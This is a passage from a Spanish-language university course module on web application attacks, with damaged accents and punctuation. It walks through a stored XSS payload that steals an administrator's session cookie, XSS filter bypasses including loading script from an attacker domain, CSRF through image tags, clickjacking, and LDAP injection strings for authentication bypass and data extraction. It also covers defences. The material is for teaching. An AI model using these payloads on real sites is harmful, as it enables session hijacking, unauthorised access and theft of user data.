quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

